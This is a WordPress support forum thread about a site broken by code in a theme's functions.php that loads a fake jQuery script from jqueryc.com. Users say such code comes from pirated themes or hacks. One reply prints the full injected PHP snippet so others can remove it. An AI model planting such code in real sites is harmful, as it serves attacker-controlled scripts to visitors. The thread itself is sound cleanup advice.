Andrew Nevins
(@anevins)
WCLDN 2018 Contributor | Volunteer support
Thanks Andrew but I found the problem.
There was a line in the funcions php file that loaded the jqueryc.com link. It was an if statement. I deleted it and now the site works.
Usually that link gets inserted into illegally downloaded plugins or themes
If you have the original zip file for your theme I would check it and see if that code was in there all along. If not then you probably did get hacked, and I would make sure there was nothing else lurking in the site, and try and figure out how they got in. If the code is in the original theme, ditch the theme altogether, since there might be other bs embedded in there that you don’t see.
-Michael
The solution is to remove following line from function.php
if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}
I described it in details at my blog – WordPress jqueryc.com problem
Thanks..worked like a charm. 🙂